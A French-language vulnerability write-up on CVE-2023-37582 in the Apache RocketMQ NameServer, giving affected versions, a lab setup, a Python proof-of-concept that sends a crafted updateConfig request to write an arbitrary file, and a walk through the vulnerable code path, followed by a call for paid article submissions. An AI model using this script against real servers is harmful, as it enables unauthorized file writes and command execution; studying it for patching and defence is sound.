Profil de vulnérabilité
Apache RocketMQ est un middleware de messagerie distribué avec une faible latence, une simultanéité élevée, une haute disponibilité et une grande fiabilité. Dans CVE-2023-37582, en raison de la réparation imparfaite de CVE-2023-33246, lorsqu'il y a un accès non autorisé à Apache RocketMQ NameServer, l'attaquant peut créer une requête malveillante pour exécuter des commandes en tant qu'utilisateur système exécutant RocketMQ.
Version concernée
Apache RocketMQ <= 5.1.1
Apache RocketMQ <= 4.9.6
Construction de l'environnement
Reportez-vous à Apache RocketMQ Remote Code Execution Vulnerability CVE-2023-33246 Environment Setup
Toujours pour la commodité du débogage, nous construisons des services liés à RocketMQ sous linux et utilisons le code source pour démarrer
Au total, deux services doivent être en cours d'exécution
org.apache.rocketmq.namesrv.NamesrvStartup
org.apache.rocketmq.broker.BrokerStartup
Commencez par démarrer NamesrvStartup, puis démarrez BrokerStartup et vous devez configurer la variable d'environnement ROCKETMQ_HOME
ROCKETMQ_HOME=/home/ubuntu/Desktop/rocketmq-rocketmq-all-5.1.0
Récurrence de la vulnérabilité
exécuter un script python
import socket
import binascii
client = socket.socket()
# you ip
client.connect(('192.168.222.130',9876))
# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='configStorePath=/tmp/test.txt\nproductEnvName=123\\ntest'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2) # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:] # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')
# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)
Écrivez avec succès le test de chaîne spécifié dans le fichier test.txt sous le répertoire tmp
Analyse de vulnérabilité
org/apache/rocketmq/remoting/protocol/RequestCode.java
code signifie appeler différentes fonctions, à ce moment, l'opération de configuration de la mise à jour 318 est appelée
src/main/java/org/apache/rocketmq/remoting/protocol/RequestCode.java
Selon le code correspondant, la fonction correspondante sera appelée pour le traitement
src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java
src/main/java/org/apache/rocketmq/namesrv/processor/DefaultRequestProcessor.java#updateConfig
src/main/java/org/apache/rocketmq/remoting/Configuration.java#update
Déterminez d'abord s'il s'agit d'un attribut contrôlable
src/main/java/org/apache/rocketmq/remoting/Configuration.java#persist
src/main/java/org/apache/rocketmq/remoting/Configuration.java#getStorePath
Appelez getStorePath
pour obtenir le chemin du fichier, et la valeur obtenue à ce moment est la valeur de configStorePath
src/main/java/org/apache/rocketmq/common/MixAll.java#string2File
src/main/java/org/apache/rocketmq/common/MixAll.java#string2FileNotSafe
src/main/java/org/apache/rocketmq/common/utils/IOTinyUtils.java#writeStringToFile
Corrections de bogues
Modifier le paramètre qui désactive la modification du chemin de configuration
Appel à manuscrits originaux
Appel à articles techniques originaux, bienvenue à poster
Courriel de soumission : [email protected]
Type d'article : technologie hacker geek, points chauds de sécurité de l'information, recherche et analyse de sécurité, etc.
Si vous réussissez l'examen et que vous le publiez, vous pouvez obtenir une rémunération allant de 200 à 800 yuans.
Pour plus de détails, cliquez sur moi pour voir!
Entraînement au champ de tir, cliquez sur "Lire le texte original"